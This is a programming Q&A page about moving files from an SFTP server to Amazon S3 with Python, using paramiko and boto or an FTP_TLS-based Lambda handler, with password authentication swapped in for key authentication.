Loading selected file from sftp to S3 using python - python-2.7

Question

I have some file on sftp (named a.csv, b.csv,c.csv) and I want to load that file directly to S3 using python.
I got the below code from Stackoverflow, but the problem is that instead of ftp_priv_key_filename, i am connecting to the sftp using password.
Please suggest me the correct approach. Thanks
import math
import os
from boto.s3.connection import S3Connection
import io
import paramiko
import stat
import time
chunk_size = 12428800
ftp_priv_key_filename = '/path/to/private/key' # this script assume priv use auth
ftp_username = 'user'
ftp_host = '100.10.86.59'
ftp_port = 22
ftp_dir = '/import/TMP'
s3_id = 'abc'
s3_key = 'xyz'
bucket_name = 'efg/mno/pqr'
s3_conn = S3Connection(s3_id, s3_key)
bucket = s3_conn.get_bucket(bucket_name)
pkey = paramiko.RSAKey.from_private_key_file(ftp_priv_key_filename)
transport = paramiko.Transport((ftp_host, ftp_port))
transport.connect(username=ftp_username, pkey=pkey)
ftp_conn = paramiko.SFTPClient.from_transport(transport)
def move_file(filepath):
key_id = filepath.replace(ftp_dir, '').lstrip('/')
key = bucket.get_key(key_id)
ftp_fi = ftp_conn.file(filepath, 'r')
source_size = ftp_fi._get_size()
if key is not None:
# check if we need to replace, check sizes
if source_size == key.size:
print('%s already uploaded' % key_id)
ftp_fi.close()
return
chunk_count = int(math.ceil(source_size / float(chunk_size)))
mp = bucket.initiate_multipart_upload(key_id)
print('%s uploading size: %imb, %i chunks' % (
key_id, math.ceil(source_size/1024/1024), chunk_count))
for i in range(chunk_count):
start = time.time()
chunk = ftp_fi.read(chunk_size)
end = time.time()
seconds = end - start
print('%s read chunk from ftp (%i/%i) %ikbs' % (
key_id, i + 1, chunk_count,
math.ceil((chunk_size / 1024) / seconds)))
fp = io.BytesIO(chunk)
start = time.time()
mp.upload_part_from_file(fp, part_num=i + 1)
end = time.time()
seconds = end - start
print('%s upload chunk to s3 (%i/%i) %ikbs' % (
key_id, i + 1, chunk_count,
math.ceil((chunk_size / 1024) / seconds)))
mp.complete_upload()
ftp_fi.close()
def move_dir(directory):
ftp_conn.chdir(directory)
for filename in ftp_conn.listdir():
filepath = os.path.join(directory, filename)
if stat.S_ISDIR(ftp_conn.stat(filepath).st_mode):
move_dir(filepath)
else:
move_file(filepath)
move_dir(ftp_dir)

Answer 1

You just have to take out the following line :
pkey = paramiko.RSAKey.from_private_key_file(ftp_priv_key_filename)
and modify the ftp connect to the following (basically using the password instead of private key)
transport.connect(username = ftp_username, password = ftp_password)

Answer 2

You can load the selected file from sftp to S3 using python like below.
from ftplib import FTP_TLS
import s3fs
import logging
def lambda_handler(event, context):
s3 = s3fs.S3FileSystem(anon=False)
ftp_url = "100.10.86.59"
ftp_path = "/import/TMP/"
s3Bucket = "efg/mno/pqr"
file_name = "sample.txt"
ftps = FTP_TLS(ftp_url)
ftps.login('<user_name>','<pwd>')
ftps.prot_p()
ftps.cwd(ftp_path)
ftps.retrbinary('RETR ' + file_name, s3.open("{}/{}".format(s3Bucket, file_name), 'wb').write)
Reference - https://github.com/vhvinod/ftp-to-s3/blob/master/ftp-cred-to-s3.py